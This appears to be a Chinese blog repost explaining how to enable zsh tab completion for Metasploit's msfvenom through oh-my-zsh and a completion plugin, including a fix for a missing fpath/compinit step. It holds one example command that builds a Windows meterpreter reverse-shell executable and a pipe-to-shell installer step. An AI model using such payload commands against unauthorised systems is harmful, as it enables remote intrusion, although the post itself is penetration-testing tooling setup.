前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kali 工具 之 Msfvenom 命令自动补全篇

Kali 工具 之 Msfvenom 命令自动补全篇

作者头像
Ms08067安全实验室
发布2019-09-25 08:17:02
4.3K1
发布2019-09-25 08:17:02
举报

0X00 背景: msfvenom大家都不陌生,在我们使用MSF进行权限维持,内网渗透的时候都会用到,支持的语言的种类很多。大家都知道我们在使用msfvenom 的时候需要手动输入很多参数,这些参数需要记忆,或记在其它地方,用的时候在查看使用哪个参数,哪条命令,非常的不方便。 比如:我要生成一个 32 位 exe 的 payload,命令为: msfvenom

-p windows/meterpreter/reverse_tcp

LHOST=1.1.1.1 LPORT=1234 -f exe -o /home/a.exe 全靠手一个字一个字输入啊,这还不算 -a -e -i -x 等参数,而且每个参数选项也非常多,这得记多少东西。

偶然看到亮神写的一篇“解决 msfvenom 命令自动补全”文章,心想,还有这操作?

瞬间感觉走上了人生巅峰

注:亮神给的文档并不是按照一步一步写的,更像是笔记,所以有些内容不全,按照他给的操作是不成功的, 而按照官方给的操作也没有做成功。问题到底出现在哪里?下面附上我整个的操作步骤!

0X01 实验环境: 操作系统:ubuntu16.04

部署软件:metasploit5.0

0X02 安装 oh-my-zsh 命令补全功能要借助 oh-my-zsh 软件,官装方法,找个适合自己的就可以, 官网地址:https://ohmyz.sh/ 因为我是 ubuntu 系统,我选择安装

sh -c "$(wget https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)"

What? 报错了,原来需要依赖 zsh,使用 apt-get install zsh 安装

安装完成后,再安装 oh-my-zsh

出来此界面说明安装成功!

0X03 安装自动补全脚本 输入: git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/

查看是否已下载_msfvenom 文件

使用 nano 命令打开 ~/.zshrc 文件 nano~/.zshrc 找到 plugins=(git) 将 msfvenom 添加到里面 plugins=(gitmsfvenom)

保存,退出 执行 source~/.zshrc 或 zsh 命令。 按照以上的操作应该就能实现了,此步骤也是官方给出的步骤,但是实际操作后,并不能补全命令

按 tab 键没有任何反应,说明失败。

0X04 解决方法 我也是经过了很长时间才找到解决方法的,是我无意中看见关于 docker 命令补全方法, 其中多出了两条命令,我拿过来一试,成功了,尼玛,意不意外,惊不惊喜?

到底是哪两条命令呢 ,官方解释 fpath=(~/.zsh/completion$fpath) ($fpath 通过添加来包含您的目录~/.zshrc) autoload-Uzcompinit&&compinit-i (确保 compinit 已加载或通过添加~/.zshrc)

将这两条命令加到 ~/.zshrc 最后一行

保存退出,zsh 一下,输入 msfvenom- 按 tab 键,奇迹出现了

感受一下

是不是很爽,都不需要看文档,直接输出,很方便。

参考文献 感谢亮神,如果没有亮神的笔记,根本就不知道还有这操作。 感谢工具作者,让我们使用起来更方便。 原网址:https://github.com/Green-m/msfvenom-zsh-completion Oh-my-zsh

官网:https://ohmyz.sh/ 亮神笔记《第三十讲:解决 msfvenom 命令自动补全》

docker 官网:https://docs.docker.com/compose/completion/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档